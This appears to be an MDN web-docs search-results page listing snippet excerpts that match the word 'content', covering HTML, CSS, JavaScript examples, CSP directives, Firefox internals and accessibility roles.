content = 'last guess was too low!' ; } else if(userguess > randomnumber) { loworhi.text
content = 'last guess was too high!'; } } guesscount++; guessfield.value = ''; } guesssubmit.addeventlistener('click', checkguess); function setgameover() { guessfield.disabled = true; guesssubmit.disab...
...led = true; resetbutton = document.createelement('button'); resetbutton.text
content = 'start new game'; document.body.append(resetbutton); resetbutton.addeventlistener('click', resetgame); } function resetgame() { guesscount = 1; const resetparas = document.queryselectorall('.resultparas p'); for(let i = 0 ; i < resetparas.length ; i++) { resetparas[i].text
content = ''; } resetbutton.parentnode.removechild(resetbutton); guessfield.disabled = false; guesssubmit.disabled = false; guessfield.value = ''; guessfield.focus(); lastresult.style.backgroundcolor = 'white'; randomnumber = math.floor(math.random() * 100) + 1; } </script> </body> </html> have a go at playing it — familiarize ...
...And 10 more matches
Introduction to the server side - Learn web development
perhaps the most significant benefit of server-side code is that it allows you to tailor website
content for individual users.
... dynamic sites can highlight
content that is more relevant based on user preferences and habits.
... static sites the diagram below shows a basic web server architecture for a static site (a static site is one that returns the same hard-coded
content from the server whenever a particular resource is requested).
...And 10 more matches
Limitations of frame scripts
many privileged apis will just work in a
content process.
... security restrictions on file access processes that host remote
content are isolated from the local system through a
content security sandbox.
... one of the functions of the sandbox is to restrict access to the local file system by processes that host remote
content.
...And 10 more matches
Process scripts
when you need to run code in the
content process in order to access web
content, then you should use frame scripts.
... however, a problem with frame scripts is that they can be loaded multiple times in the
content process, in multiple scopes that are insulated from each other.
...this can then cause a problem the frame scripts are interacting with a global service in the
content process.
...And 10 more matches
nsIMessenger
void undo(in nsimsgwindow msgwindow); void redo(in nsimsgwindow msgwindow); void sendunsentmessages(in nsimsgidentity aidentity, in nsimsgwindow amsgwindow); void setdocumentcharset(in acstring characterset); void saveas(in acstring auri, in boolean aasfile, in nsimsgidentity aidentity, in astring amsgfilename); void openattachment(in acstring
contenttpe, in acstring url, in acstring displayname, in acstring messageuri, in boolean isexternalattachment); void saveattachment(in acstring
contenttpe, in acstring url, in acstring displayname, in acstring messageuri, in boolean isexternalattachment); void saveallattachments(in unsigned long count, [array, size_is(count)] in string
contenttypearray, [array, size_is(count)] in string...
... urlarray, [array, size_is(count)] in string displaynamearray, [array, size_is(count)] in string messageuriarray); void saveattachmenttofile(in nsifile afile, in acstring aurl, in acstring amessageuri, in acstring a
contenttype, in nsiurllistener alistener); void detachattachment(in string
contenttpe, in string url, in string displayname, in string messageuri, in boolean savefirst, [optional] in boolean withoutwarning); void detachallattachments(in unsigned long count, [array, size_is(count)] in string
contenttypearray, [array, size_is(count)] in string urlarray, [array, size_is(count)] in string displaynamearray, [array, size_is(count)] in string messageuriarray, in boolean savefirst, [optional] in boolean withoutwarning); nsilocalfile saveattachmenttofolder(in...
... acstring
contenttype, in acstring url, in acstring displayname, in acstring messageuri, in nsilocalfile adestfolder); nsimsgmessageservice messageservicefromuri(in acstring auri); nsimsgdbhdr msghdrfromuri(in acstring auri); acstring getmsguriatnavigatepos(in long apos); acstring getfolderuriatnavigatepos(in long apos); void getnavigatehistory(out unsigned long acurpos, out unsigned long acount, [array, size_is(acount)] out string ahistory); note: prior to gecko 8.0, all references to nsidomwindow used in this interface were nsidomwindow.
...And 10 more matches
Index
to test it 17
content tabs thunderbird
content tabs enable thunderbird to display remote
content in a tab, which users can browse in (mostly) the same way as with a browser.
... for example, invoking thunderbird's help | what's new menu option opens a tab that displays web
content.
... the thunderbird team can update this
content via the website at any time.
...And 10 more matches
Examine and edit HTML - Firefox Developer Tools
for example, //a matches all <a> elements but not the letter "a" within the text
content.
... there is an ellipsis shown between the opening and closing tag of an element when the node is collapsed if it has larger
contents.
...the shadow root is signified by a node named #shadow-root — you can click its expansion arrow to see the full
contents of the shadow dom, and then manipulate the contained nodes in a similar way to other part of the page's dom (although with a limited featureset — you can't, for example, drag and drop or delete shadow dom nodes).
...And 10 more matches
AddressErrors - Web APIs
the
contents of the string provide a human-readable explanation of the validation failure, and ideally suggestions to correct the problem.
...the
contents of the string provide a human-readable explanation of the validation failure, and ideally suggestions to correct the problem.
...the
contents of the string provide a human-readable explanation of the validation failure, and ideally suggestions to correct the problem.
...And 10 more matches
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
in order to lay the design out in the table we often broke up the
content in ways that made no sense at all when read out by a screen reader for example.
... in moving to css we often spoke about css for layout enabling a separation of
content and markup and presentation.
...on paper grid helps us properly fulfill that promise of
content separated from mark-up, however is it possible to go too far with this idea?
...And 10 more matches
max-height - CSS: Cascading Style Sheets
syntax /* <length> value */ max-height: 3.5em; /* <percentage> value */ max-height: 75%; /* keyword values */ max-height: none; max-height: max-
content; max-height: min-
content; max-height: fit-
content(20em); /* global values */ max-height: inherit; max-height: initial; max-height: unset; values <length> defines the max-height as an absolute value.
... max-
content the intrinsic preferred max-height.
... min-
content the intrinsic minimum max-height.
...And 10 more matches
max-width - CSS: Cascading Style Sheets
syntax /* <length> value */ max-width: 3.5em; /* <percentage> value */ max-width: 75%; /* keyword values */ max-width: none; max-width: max-
content; max-width: min-
content; max-width: fit-
content(20em); /* global values */ max-width: inherit; max-width: initial; max-width: unset; values <length> defines the max-width as an absolute value.
... max-
content the intrinsic preferred max-width.
... min-
content the intrinsic minimum max-width.
...And 10 more matches
writing-mode - CSS: Cascading Style Sheets
this property specifies the block flow direction, which is the direction in which block-level containers are stacked, and the direction in which inline-level
content flows within a block container.
... thus, it also determines the ordering of block-level
content.
... values horizontal-tb for ltr scripts,
content flows horizontally from left to right.
...And 10 more matches
Using HTML sections and outlines - Developer guides
they are intended to enhance the limited semantics of earlier versions of html, which included only the <div> tag as a generic mechanism for grouping related
content.
... for example, <div class="navigation"> does not suggest any meaning about its
content to a browser; only a human reading the html source can divine the meaning of a class like navigation.
... by contrast, the <nav> sectioning element more clearly describes to browsers and other devices the
content contained: links or other navigational structures to help users move through and understand where they are in a site's or page's
content.
...And 10 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
take this example: <link rel="preload" href="myfont.woff2" as="font" type="font/woff2" crossorigin="anonymous"> a rel value of preload indicates that the browser should preload this resource (see preloading
content with rel="preload" for more details), with the as attribute indicating the specific class of
content being fetched.
...however, this isn't a good practice to follow; it makes more sense to separate your <link> elements from your body
content, putting them in the <head>.
... when using <link> to establish a favicon for a site, and your site uses a
content security policy (csp) to enhance its security, the policy applies to the favicon.
...And 10 more matches
Standard metadata names - HTML: Hypertext Markup Language
the <meta> element can be used to provide document metadata in terms of name-value pairs, with the name attribute giving the metadata name, and the
content attribute giving the value.
... description: a short and accurate summary of the
content of the page.
... keywords: words relevant to the page's
content separated by commas.
...And 10 more matches
Namespaces crash course - SVG: Scalable Vector Graphics
it is important to understand the concept of namespaces and how they are used if you plan to author svg
content.
... background it has been a long standing goal of the w3c to make it possible for different types of xml based
content to be mixed together in the same xml file.
...being able to mix
content types like this has many advantages, but it also required a very real problem to be solved.
...And 10 more matches
Common causes of memory leaks in extensions - Extensions
storing references to window objects and dom nodes the most common problem is extensions holding onto references to
content windows for too long.
... for example, in xul overlay code: var
contentwindows = []; function inbrowserxuloverlay(
contentwindow) { // forgetting or failing to pop the
content window thing again
contentwindows.push(
contentwindow); } this will keep the
content window compartments alive until the browser window is closed.
...consider the following example code that could be part of your browser.xul overlay: gbrowser.addeventlistener("dom
contentloaded", function(evt) { var
contentdoc = evt.originaltarget; var i = 0; // refresh the title once each second setinterval(function() {
contentdoc.title = ++i; }, 1000); }, false); one would normally expect that the interval (or timer) would be destroyed as soon as the document unloads, in the same way that event listeners are automatically destroyed.
...And 9 more matches
Fundamental text and font styling - Learn web development
as you'll have already experienced in your work with html and css, text inside an element is laid out inside the element's
content box.
... it starts at the top left of the
content area (or the top right, in the case of rtl language
content), and flows towards the end of the line.
... once it reaches the end, it goes down to the next line and continues, then the next line, until all the
content has been placed in the box.
...And 9 more matches
Images in HTML - Learn web development
fortunately, it wasn't too long before the ability to embed images (and other more interesting types of
content) inside web pages was added.
...this is an empty element (meaning that it has no text
content or closing tag) that requires a minimum of one attribute to be useful — src (sometimes spoken as its full title, source).
...this is because the element's
content and size are defined by an external resource (like an image or video file), not by the
contents of the element itself.
...And 9 more matches
Making decisions in your code — conditionals - Learn web development
>sunny</option> <option value="rainy">rainy</option> <option value="snowing">snowing</option> <option value="overcast">overcast</option> </select> <p></p> const select = document.queryselector('select'); const para = document.queryselector('p'); select.addeventlistener('change', setweather); function setweather() { const choice = select.value; if (choice === 'sunny') { para.text
content = 'it is nice and sunny outside today.
...go to the beach, or the park, and get an ice cream.'; } else if (choice === 'rainy') { para.text
content = 'rain is falling outside; take a rain coat and an umbrella, and don\'t stay out for too long.'; } else if (choice === 'snowing') { para.text
content = 'the snow is coming down — it is freezing!
... best to stay in with a cup of hot chocolate, or go build a snowman.'; } else if (choice === 'overcast') { para.text
content = 'it isn\'t raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.'; } else { para.text
content = ''; } } here we've got an html <select> element allowing us to make different weather choices, and a simple paragraph.
...And 9 more matches
Client-Server Overview - Learn web development
the first part is called the header, and contains useful information about the request, in the same way that an html head contains useful information about an html document (but not the actual
content itself, which is in the body): get https://developer.mozilla.org/search?q=client+server+overview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev http/1.1 host: developer.mozilla.org connection: keep-alive pragma: no-cache cache-control: no-cache upgrade-insecure-requests: 1 user-agent: mozilla/5.0 (windows nt 10.0; wow64) applewebkit/537.36 (khtml, like gecko) chrome/52.0.2743.11...
... we can see that the response is text/html formatted (
content-type).
... we can also see that it uses the utf-8 character set (
content-type: text/html; charset=utf-8).
...And 9 more matches
Experimental features in Firefox
nightly 53 yes developer edition 53 no beta 53 no release 53 no preference name dom.dialog_element.enabled global attribute: inputmode our implementation of the inputmode global attribute has been updated as per the whatwg spec (bug 1509527), but we still need to make other changes too, like making it available on
contenteditable
content.
...read preloading
content with rel="preload" for more details.
... nightly 77 no developer edition 77 no beta 77 no release 77 no preference name layout.css.grid-template-masonry-value.enabled media feature: prefers-contrast the prefers-contrast media feature is used to detect whether the user has specified a preference for higher (or lower) contrast in the presentation of web
content.
...And 9 more matches
Limitations of frame scripts
many privileged apis will just work in a
content process.
...for example: nsifileinputstream nsifileoutputstream constructing a file from a string or nsifile (but file objects can be sent via message manager) htmlinputelement.mozsetfilenamearray (alternative: mozsetfilearray) file: uris, see bug 1187099 <...> xul and browser ui anything that tries to touch the browser ui or anything to do with xul is likely not to work in the
content process.
... services.search services.downloads chrome windows anything that needs to use chrome windows will not work in the
content process.
...And 9 more matches
source-editor.jsm
do stack operations boolean canredo(); boolean canundo(); void endcompoundchange(); boolean redo(); void resetundo(); void startcompoundchange(); boolean undo(); display management operations void focus(); number gettopindex(); boolean hasfocus(); void settopindex(number atopindex);
content management operations number getcharcount(); string getindentationstring(); string getlinedelimiter(); number getlinecount(); number getlineend(number alineindex, boolean aincludedelimiter); number getlinestart(number alineindex); string getmode(); string gettext([optional] number astart, [optional] number aend); ...
...t, number aend); breakpoint management void addbreakpoint(number alineindex, [optional] string acondition); array getbreakpoints(); boolean removebreakpoint(number alineindex); properties attribute type description dirty boolean set this value to false whenever you save the text; the editor will update it to true when the
content is changed.
... you can then use this value to detect when the
contents of the text are different from your most recent save.
...And 9 more matches
Gecko Roles
assistive technologies typically respond to the role by reading the entire onscreen
contents of containers advertising this role.
...users can navigate between panes and within the
contents of the current pane, but cannot navigate between items in different panes.
... role_animation represents an animation control, which contains
content that changes over time, such as a control that displays a series of bitmap frames.
...And 9 more matches
nsIAccessibleRole
assistive technologies typically respond to the role by reading the entire on screen
contents of containers advertising this role.
...users can navigate between panes and within the
contents of the current pane, but cannot navigate between items in different panes.
... role_animation 54 represents an animation control, which contains
content that changes over time, such as a control that displays a series of bitmap frames.
...And 9 more matches
nsIHTMLEditor
inherits from: nsisupports last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) method overview void adddefaultproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void addinsertionlistener(in nsi
contentfilter infilter); void align(in astring aalign); boolean breakisvisible(in nsidomnode anode); boolean candrag(in nsidomevent aevent); void checkselectionstateforanonymousbuttons(in nsiselection aselection); nsidomelement createanonymouselement(in astring atag, in nsidomnode aparentnode, in astring aanonclass, in boolean aiscreatedhidden); nsidomelement createelementwithdefaults(in astring ata...
... void dodrag(in nsidomevent aevent); void getalignment(out boolean amixed, out short aalign); astring getbackgroundcolorstate(out boolean amixed); nsidomelement getelementorparentbytagname(in astring atagname, in nsidomnode anode); astring getfontcolorstate(out boolean amixed); astring getfontfacestate(out boolean amixed); astring gethead
contentsashtml(); astring gethighlightcolorstate(out boolean amixed); void getindentstate(out boolean acanindent, out boolean acanoutdent); void getinlineproperty(in nsiatom aproperty, in astring aattribute, in astring avalue, out boolean afirst, out boolean aany, out boolean aall); astring getinlinepropertywithattrvalue(in nsiatom aproperty, in astring aattribute, in ...
...ng aselectiontype); void rebuilddocumentfromsource(in astring asourcestring); void removealldefaultproperties(); void removeallinlineproperties(); void removedefaultproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void removeinlineproperty(in nsiatom aproperty, in astring aattribute); void removeinsertionlistener(in nsi
contentfilter infilter); void removelist(in astring alisttype); void replacehead
contentswithhtml(in astring asourcetoinsert); void selectelement(in nsidomelement aelement); void setbackgroundcolor(in astring acolor); void setbodyattribute(in astring aattr, in astring avalue); void setcaretafterelement(in nsidomelement aelement); void setcssin...
...And 9 more matches
nsISHEntry
.createinstance(components.interfaces.nsishentry); method overview void addchildshell(in nsidocshelltreeitem shell); nsidocshelltreeitem childshellat(in long index); void clearchildshells(); nsishentry clone(); void create(in nsiuri uri, in astring title, in nsiinputstream inputstream, in nsilayouthistorystate layouthistorystate, in nsisupports cachekey, in acstring
contenttype, in nsisupports owner, in unsigned long long docshellid, in boolean dynamiccreation); native code only!
... nsdocshelleditordataptr forgeteditordata(); violates the xpcom interface guidelines nsi
contentviewer getany
contentviewer(out nsishentry ownerentry); void getscrollposition(out long x, out long y); void getviewerbounds(in nsintrect bounds); native code only!
...
contenttype acstring indicates the
content-type of the document that this is a session history entry for.
...And 9 more matches
nsIWebBrowserPersist
mponents.classes["@mozilla.org/embedding/browser/nswebbrowserpersist;1"] .createinstance(components.interfaces.nsiwebbrowserpersist); method overview void cancelsave(); void savechannel(in nsichannel achannel, in nsisupports afile); void savedocument(in nsidomdocument adocument, in nsisupports afile, in nsisupports adatapath, in string aoutput
contenttype, in unsigned long aencodingflags, in unsigned long awrapcolumn); void saveuri(in nsiuri auri, in nsisupports acachekey, in nsiuri areferrer, in long areferrerpolicy, in nsiinputstream apostdata, in string aextraheaders, in nsisupports afile, in nsiloadcontext aprivacycontext); void saveprivacyawareuri(in nsiuri auri, in nsisupports acachekey, in nsiuri areferrer, in long are...
... persist_flags_ignore_iframes 8 ignore iframe
content (usually adverts).
... persist_flags_no_conversion 16 do not run the incoming data through a
content converter for example to decompress it.
...And 9 more matches
nsIWindowsRegKey
readbinaryvalue() this method reads the binary
contents of the named value under this key.
... return value the binary
contents of the named value under this key.
... readint64value() this method reads the 64-bit integer
contents of the named value.
...And 9 more matches
Browser Console - Firefox Developer Tools
the browser console is like the web console, but applied to the whole browser rather than a single
content tab.
...however, rather than logging this information for a single
content tab, it logs information for all
content tabs, for add-ons, and for the browser's own code.
... you can also start the browser console by launching firefox from the command line and passing the -jsconsole argument: /applications/firefoxaurora.app/
contents/macos/firefox-bin -jsconsole the browser console looks like this: you can see that the browser console looks and behaves very much like the web console: most of the window is occupied by a pane that display messages.
...And 9 more matches
Using Web Workers - Web APIs
web workers are a simple means for web
content to run scripts in background threads.
... back in the main thread, we use onmessage again, to respond to the message sent back from the worker: myworker.onmessage = function(e) { result.text
content = e.data; console.log('message received from worker'); } here we grab the message event data and set it as the text
content of the result paragraph, so the user can see the result of the calculation.
... finally, back in the main script, we deal with the message (again, you'll see similar constructs in both multiply.js and square.js): myworker.port.onmessage = function(e) { result2.text
content = e.data; console.log('message received from worker'); } when a message comes back through the port from the worker, we insert the calculation result inside the appropriate result paragraph.
...And 9 more matches
Typical use cases of Flexbox - CSS: Cascading Style Sheets
space distributed outside the items to distribute the space between or around the items we use the alignment properties in flexbox, and the justify-
content property.
... in the below live example we display the items at their natural size and by using justify-
content: space-between make equal amounts of space between the items.
...this means that if you have variable amounts of
content, the card will stretch to the height of the grid area or flex container.
...And 9 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
then defined the centre block of the grid as
content-start and
content-end again, both for columns and rows although you do not need to name all of the lines on your grid.
... .wrapper { display: grid; grid-template-columns: [main-start] 1fr [
content-start] 1fr [
content-end] 1fr [main-end]; grid-template-rows: [main-start] 100px [
content-start] 100px [
content-end] 100px [main-end]; } once the lines have names, we can use the name to place the item rather than the line number.
... .box1 { grid-column-start: main-start; grid-row-start: main-start; grid-row-end: main-end; } .box2 { grid-column-start:
content-end; grid-row-start: main-start; grid-row-end:
content-end; } .box3 { grid-column-start:
content-start; grid-row-start: main-start; } .box4 { grid-column-start:
content-start; grid-column-end: main-end; grid-row-start:
content-end; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> </div> everything else about line-based placement still works in the same way and you can mix named lines and line numbers.
...And 9 more matches
mask-clip - CSS: Cascading Style Sheets
the painted
content of an element must be restricted to this area.
... /* <geometry-box> values */ mask-clip:
content-box; mask-clip: padding-box; mask-clip: border-box; mask-clip: margin-box; mask-clip: fill-box; mask-clip: stroke-box; mask-clip: view-box; /* keyword values */ mask-clip: no-clip; /* non-standard keyword values */ -webkit-mask-clip: border; -webkit-mask-clip: padding; -webkit-mask-clip:
content; -webkit-mask-clip: text; /* multiple values */ mask-clip: padding-box, no-clip; mask-clip: view-box, fill-box, border-box; /* global values */ mask-clip: inherit; mask-clip: initial; mask-clip: unset; syntax one or more of the keyword values listed below, separated by commas.
... values
content-box the painted
content is clipped to the
content box.
...And 9 more matches
min-width - CSS: Cascading Style Sheets
syntax /* <length> value */ min-width: 3.5em; /* <percentage> value */ min-width: 10%; /* keyword values */ min-width: max-
content; min-width: min-
content; min-width: fit-
content(20em); /* global values */ min-width: inherit; min-width: initial; min-width: unset; values <length> defines the min-width as an absolute value.
... max-
content the intrinsic preferred min-width.
... min-
content the intrinsic minimum min-width.
...And 9 more matches
Getting Started - Developer guides
for example, use the following before calling send() for form data sent as a query string: httprequest.setrequestheader('
content-type', 'application/x-www-form-urlencoded'); step 2 – handling the server response when you sent the request, you provided the name of a javascript function to handle the response: httprequest.onreadystatechange = nameofthefunction; what should this function do?
...our javascript will request an html document, test.html, which contains the text "i'm a test." then we'll alert() the
contents of the response.
...d="ajaxbutton" type="button">make a request</button> <script> (function() { var httprequest; document.getelementbyid("ajaxbutton").addeventlistener('click', makerequest); function makerequest() { httprequest = new xmlhttprequest(); if (!httprequest) { alert('giving up :( cannot create an xmlhttp instance'); return false; } httprequest.onreadystatechange = alert
contents; httprequest.open('get', 'test.html'); httprequest.send(); } function alert
contents() { if (httprequest.readystate === xmlhttprequest.done) { if (httprequest.status === 200) { alert(httprequest.responsetext); } else { alert('there was a problem with the request.'); } } } })(); </script> in this example: the user clicks the "make a req...
...And 9 more matches
Localizations and character encodings - Developer guides
the html specification recommends the use of the utf-8 encoding (which can represent all of unicode) and regardless of the encoding used requires web
content to declare what encoding was used.
... to specify that a page is using, for example, the utf-8 character encoding (as per the recommendation), simply place the following line in the <head> block: <meta charset="utf-8"> details and browser internals when the encoding is declared by web
content like the html specification requires, firefox will use that encoding for turning the bytes into the internal representation.
... unfortunately, using utf-8 and declaring that utf-8 was used was not always the prevalent way of offering web
content.
...And 9 more matches
<main> - HTML: Hypertext Markup Language
the html <main> element represents the dominant
content of the <body> of a document.
... the main
content area consists of
content that is directly related to or expands upon the central topic of a document, or the central functionality of an application.
...
content categories flow
content, palpable
content.
...And 9 more matches
Microformats - HTML: Hypertext Markup Language
the properties are carried in class attributes that can be added to any html element, while the data values re-use html element
content and semantic attributes.
...for example: h-card describes a person or organization h-entry describes episodic or date stamped online
content like a blog post h-feed describes a stream or feed of posts you can find many more vocabularies on the microformats2 wiki.
...attributes over element
contents.
...And 9 more matches
CSP: script-src - HTTP
the http
content-security-policy (csp) script-src directive specifies valid sources for javascript.
... syntax one or more sources can be allowed for the script-src policy:
content-security-policy: script-src <source>;
content-security-policy: script-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 9 more matches
CSP: style-src - HTTP
the http
content-security-policy (csp) style-src directive specifies valid sources for stylesheets.
... syntax one or more sources can be allowed for the style-src policy:
content-security-policy: style-src <source>;
content-security-policy: style-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 9 more matches
Image file type and format guide - Web media technologies
however, the ones listed below are generally recognized as usable on the web, though bmp is generally not recommended as browser support is potentially constrained; it should usually be avoided for web
content.
... bmp (bitmap file) the bmp (bitmap image) file type is most prevalent on windows computers, and is generally used only for special cases in web apps and
content.
... note: you should typically avoid using bmp for web site
content, as it's not a generally-accepted use of the format.
...And 9 more matches
Performance fundamentals - Web Performance
fully static
content is the exception rather than the rule for rich applications.
... rich applications use dynamic
content with animation and transition effects.
...gecko is optimized to load a wide variety of
content efficiently: the entire web!
...And 9 more matches
Beginner's guide to media queries - Learn web development
this means that instead of targetting specific sizes for all designs, a better approach is to change the design at the size where the
content starts to break in some way.
...you can easily make the viewport smaller and larger to see where the
content would be improved by adding a media query and tweaking the design.
... the view for the very smallest devices is quite often a simple single column of
content, much as it appears in normal flow.
...And 8 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/05-advanced-concepts or directly download the folder's
content: npx degit opensas/mdn-svelte-tutorial/05-advanced-concepts remember to run npm install && npm run dev to start your app in development mode.
...put the following
content into your moreactions.svelte file: <script> import { createeventdispatcher } from 'svelte' const dispatch = createeventdispatcher() let completed = true const checkall = () => { dispatch('checkall', completed) completed = !completed } const removecompleted = () => dispatch('removecompleted') </script> <div class="btn-group"> <button type="button" class="btn btn__prim...
...basically, the virtual dom is an in-memory copy of the
contents of the web page.
...And 8 more matches
Overview of Mozilla embedding APIs
contract-id: ns_componentmanager_contractid implemented interfaces: nsicomponentmanager nsiinterfacerequestor requestor interfaces: nsiservicemanager related interfaces: nsifactory nsuriloader the nsuriloader service is responsible for targeting a uri at an appropriate
content handler.
... a
content handler may be an existing or new window, a helper application or the unknown
content handler - if no other handler can be found for the
content-type.
... contract-id: ns_uri_loader_contractid implemented interfaces: nsiuriloader related interfaces: nsiuri
contentlistener nsunknown
contenttypehandler the unknown
contenttypehandler service is the last resort of the uriloader when no other
content handler can be located.
...And 8 more matches
Introduction to Layout in Mozilla
overview basic data flow key data structures detailed walk-through incrementalism future tech-talks wrap-up, q&a basic data flow source document arrives via network apis incrementally “pumped” through the single-threaded layout engine parse, compute style, render; repeat css used for rendering all
content content theoretically separate from “presentation” key data structures
content node elements, attributes, leaves dom frame rectangular formatting primitive geometric information [0..n] per
content node 2nd thru nth are “continuations” style context non-geometric information may be shared by adjacent frames reference counted, owned by frame ...
... view clipping, z-order, transparency [0..1] per frame, owned by frame widget native window [0..1] per view, owned by view key data structures the document owns the
content model, and one or more presentations exposed programmatically via dom apis the presentation owns the frame hierarchy frames own the style contexts, views, widgets presentation has media type, dimensions, etc.
... may not be directly manipulated detailed walk-through setting up
content model construction frame construction style resolution reflow painting setting up assume basic knowledge of embedding and network apis (doc shell, streams)
content dll auto-registers a document loader factory (dlf) @mozilla.org/
content-viewer-factory/view;1?type=text/html all mime types mapped to the same class, ns
contentdlf nsdocshell receives inbound
content via nsdsuri
contentlistener invokes nsidlf::createinstance, passes mime type to dlf ns
contentdlf creates a nshtmldocument object, invokes startdocumentload.
...And 8 more matches
Midas
internet explorer also supports the ability to edit specific elements using the
contenteditable attribute; starting with firefox 3, gecko also supports
contenteditable.
...according to standards, the iframe element has the
contentdocument property that refers to the document in the inline frame.
... it also has a property called
contentwindow that refers to the window object inside the inline frame.
...And 8 more matches
Shumway
the project is not exactly a developer tool but it is something that
content creators should test against (and report bugs or performance issues to).
... there are a few situations where a user may use shumway to view your
content: their platform does not support adobe flash player.
... there might be a time where users want to experience your
content but flash is no longer supported by adobe.
...And 8 more matches
nsIIOService
otocolhandler(in string ascheme); nsichannel newchannel(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); obsolete since gecko 48 nsichannel newchannel2(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri, in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in uint32_t asecurityflags, in uint32_t a
contentpolicytype); nsichannel newchannelfromuri(in nsiuri auri); obsolete since gecko 48 nsichannel newchannelfromuri2(in nsiuri auri, in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in unsigned long asecurityflags, in unsigned long a
contentpolicytype); nsichannel newchannelfromuriwithloadinfo(in nsiuri auri, in nsiloadinfo...
... aloadinfo); nsichannel newchannelfromuriwithproxyflags2(in nsiuri auri, in nsiuri aproxyuri, in uint32_t aproxyflags,in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in uint32_t asecurityflags, in uint32_t a
contentpolicytype); nsiuri newfileuri(in nsifile afile); nsiuri newuri(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description offline boolean returns true if networking is in "offline" mode.
... nsichannel newchannel2( in autf8string aspec, in string aorigincharset, in nsiuri abaseuri, in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in uint32_t asecurityflags, in uint32_t a
contentpolicytype, ); parameters aspec the spec for the desired uri.
...And 8 more matches
msRegionOverflow - Web APIs
the msregionoverflow read-only property determines if
content fully fits into the region or not.
... syntax string = object.msregionoverflow values type:domstring overflow: the region element's
content overflows the region's
content box.
... note that the region's overflow property value can be used to control the visibility of the overflowing
content.
...And 8 more matches
ARIA: Main role - Accessibility
the main landmark role is used to indicate the primary
content of a document.
... the main
content area consists of
content that is directly related to or expands upon the central topic of a document, or the central functionality of an application.
... <div id="main" role="main"> <h1>avocados</h1> <!-- main section
content --> </div> this is the main section of a document that discusses avocados.
...And 8 more matches
Web accessibility for seizures and physical reactions - Accessibility
this article introduces concepts behind making web
content accessibile for those with vestibular disorders, and how to measure and prevent
content leading to seizures and / or other physical reactions.
...
content that flickers, flashes, or blinks can trigger photosensitive epilepsy.
... web technologies that use video, animated gifs, animated pngs, animated svgs, canvas, and css or javascript animations are all capable of
content that can induce seizures or other incapacitating physical reactions.
...And 8 more matches
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
it is worth noting that we might want to change the writing mode of our document for reasons other than publishing
content in a language that uses a different writing mode.
... see this article for a full description of writing modes and ways to use them, both for
content in other languages and for creative reasons.
... the writing modes the writing modes specification defines the following values of the writing-mode property, which serve to change the direction that blocks are laid out on the page, to match the direction that blocks lay out when
content is formatted in that particular writing mode.
...And 8 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
pper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); } a simple question to ask yourself when deciding between grid or flexbox is: do i only need to control the layout by row or column – use a flexbox do i need to control the layout by row and column – use a grid
content out or layout in?
...flexbox works from the
content out.
...you let the size of the
content decide how much individual space each item takes up.
...And 8 more matches
<input type="hidden"> - HTML: Hypertext Markup Language
for example, the id of the
content that is currently being ordered or edited, or a unique security token.
... hidden inputs are completely invisible in the rendered page, and there is no way to make it visible in the page's
content.
... important: while the value isn't displayed to the user in the page's
content, it is visible—and can be edited—using any browser's developer tools or "view source" functionality.
...And 8 more matches
<th> - HTML: Hypertext Markup Language
content categories none.
... permitted
content flow
content, but with no header, footer, sectioning
content, or heading
content descendants.
... abbr this attribute contains a short abbreviated description of the cell's
content.
...And 8 more matches
Configuring servers for Ogg media - HTTP
in addition, gecko uses byte-range requests to seek to the end of the media (assuming you serve the
content-length header) in order to determine the duration of the media.
...it must return 206: partial
content to all byte range requests; otherwise, browsers can't be sure you actually support byte range requests.
... your server must also return 206: partial
content for the request range: bytes=0- as well.
...And 8 more matches
CSP: form-action - HTTP
the http
content-security-policy (csp) form-action directive restricts the urls which can be used as the target of a form submissions from a given context.
... syntax one or more sources can be set for the form-action policy:
content-security-policy: form-action <source>;
content-security-policy: form-action <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... data: allows data: uris to be used as a
content source.
...And 8 more matches
MathML documentation index - MathML
found 40 pages: # page tags and summary 1 mathml landing, mathml, reference, web, xml mathematical markup language (mathml) is a dialect of xml for describing mathematical notation and capturing both its structure and
content.
...html becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, wysiwyg editors and other
content management systems to help writing web pages.
... 3 examples beginner, example, guide, mathml, needsbeginnerupdate below you'll find some examples you can look at to help you to understand how to use mathml to display increasingly complex mathematical concepts in web
content.
...And 8 more matches
Web video codec guide - Web media technologies
mpeg-2 part 2 visual mp4, mpeg, quicktime theora theora ogg vp8 video processor 8 3gp, ogg, webm vp9 video processor 9 mp4, ogg, webm factors affecting the encoded video as is the case with any encoder, there are two basic groups of factors affecting the size and quality of the encoded video: specifics about the source video's format and
contents, and the characteristics and configuration of the codec used while encoding the video.
